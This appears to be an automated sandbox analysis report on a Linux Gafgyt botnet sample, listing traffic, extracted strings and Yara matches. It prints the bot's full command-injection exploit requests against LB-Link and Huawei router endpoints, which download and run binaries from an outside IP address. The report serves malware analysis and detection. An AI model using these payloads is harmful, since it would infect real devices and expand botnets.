Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.209.28
Source: unknown	TCP traffic detected without corresponding DNS query: 157.88.72.34
Source: unknown	TCP traffic detected without corresponding DNS query: 41.237.141.80
Source: unknown	TCP traffic detected without corresponding DNS query: 157.51.173.161
Source: unknown	TCP traffic detected without corresponding DNS query: 157.234.18.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.48.53.238
Source: unknown	TCP traffic detected without corresponding DNS query: 90.68.199.75
Source: unknown	TCP traffic detected without corresponding DNS query: 222.154.125.249
Source: unknown	TCP traffic detected without corresponding DNS query: 157.155.22.139
Source: unknown	TCP traffic detected without corresponding DNS query: 157.35.58.36
Source: unknown	TCP traffic detected without corresponding DNS query: 197.51.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 197.190.122.99
Source: unknown	TCP traffic detected without corresponding DNS query: 41.152.58.81
Source: unknown	TCP traffic detected without corresponding DNS query: 157.228.97.57
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.183.135
Source: unknown	TCP traffic detected without corresponding DNS query: 41.45.19.248
Source: unknown	TCP traffic detected without corresponding DNS query: 41.70.160.171
Source: unknown	TCP traffic detected without corresponding DNS query: 157.129.242.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.111.223.244
Source: unknown	TCP traffic detected without corresponding DNS query: 125.32.184.141
Source: unknown	TCP traffic detected without corresponding DNS query: 41.129.112.122
Source: unknown	TCP traffic detected without corresponding DNS query: 157.162.169.71
Source: unknown	TCP traffic detected without corresponding DNS query: 157.55.56.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.171.73.36
Source: unknown	TCP traffic detected without corresponding DNS query: 157.191.167.1
Source: unknown	TCP traffic detected without corresponding DNS query: 41.61.177.194
Source: unknown	TCP traffic detected without corresponding DNS query: 98.69.175.87
Source: unknown	TCP traffic detected without corresponding DNS query: 157.228.226.139
Source: unknown	TCP traffic detected without corresponding DNS query: 41.107.55.112
Source: unknown	TCP traffic detected without corresponding DNS query: 157.106.75.231
Source: unknown	TCP traffic detected without corresponding DNS query: 157.101.8.236
Source: unknown	TCP traffic detected without corresponding DNS query: 213.60.29.113
Source: unknown	TCP traffic detected without corresponding DNS query: 157.188.34.102
Source: unknown	TCP traffic detected without corresponding DNS query: 115.158.146.193
Source: unknown	TCP traffic detected without corresponding DNS query: 157.145.229.142
Source: unknown	TCP traffic detected without corresponding DNS query: 45.215.202.73
Source: unknown	TCP traffic detected without corresponding DNS query: 41.254.233.77
Source: unknown	TCP traffic detected without corresponding DNS query: 157.167.82.117
Source: unknown	TCP traffic detected without corresponding DNS query: 157.213.251.175
Source: unknown	TCP traffic detected without corresponding DNS query: 41.175.107.140
Source: unknown	TCP traffic detected without corresponding DNS query: 109.129.118.222
Source: unknown	TCP traffic detected without corresponding DNS query: 157.183.144.17
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.42.119
Source: unknown	TCP traffic detected without corresponding DNS query: 197.203.145.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.152.120.165
Source: unknown	TCP traffic detected without corresponding DNS query: 41.120.239.213
Source: unknown	TCP traffic detected without corresponding DNS query: 76.1.48.73
Source: unknown	TCP traffic detected without corresponding DNS query: 220.74.86.50
Source: unknown	TCP traffic detected without corresponding DNS query: 157.172.228.197
Source: unknown	TCP traffic detected without corresponding DNS query: 41.126.60.27

Source: unknown

DNS traffic detected: queries for: haha.skyljne.click

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 33 32 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.178.235.32/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf *mpsl*;

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CradlepointHTTPService/1.0.0Content-Type: text/html; charset=UTF-8Date: Fri, 16 Feb 2024 08:45:07 GMTContent-Length: 69Data Raw: 3c 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 62 6f 64 79 3e 34 30 33 3a 20 46 6f 72 62 69 64 64 65 6e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><title>403: Forbidden</title><body>403: Forbidden</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 1961415943982849008Connection: closeServer: Lego ServerDate: Fri, 16 Feb 2024 08:45:08 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cacheDate: Fri, 16 Feb 2024 08:45:15 GMTContent-Type: text/htmlX-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/plainTransfer-Encoding: chunked

Source: mBDisulSAb.elf	String found in binary or memory: http://103.178.235.32/huhu.mpsl;
Source: mBDisulSAb.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: mBDisulSAb.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54632
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: mBDisulSAb.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mBDisulSAb.elf PID: 5420, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljne.armskyljne.arm5skyljne.arm6skyljne.arm7skyljne.mipsskyljne.mpslskyljne.x86_64skyljne.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.178.235.32 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: wgetcurlbusybox/bin/busyboxechocatnanotfpt/proc/proc/%d/cmdlinerabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt3f

Source: ELF static info symbol of initial sample

.symtab present: no

Source: mBDisulSAb.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: mBDisulSAb.elf PID: 5420, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/1025@1/0

Source: /tmp/mBDisulSAb.elf (PID: 5425)	File opened: /proc/5261/cmdline	Jump to behavior
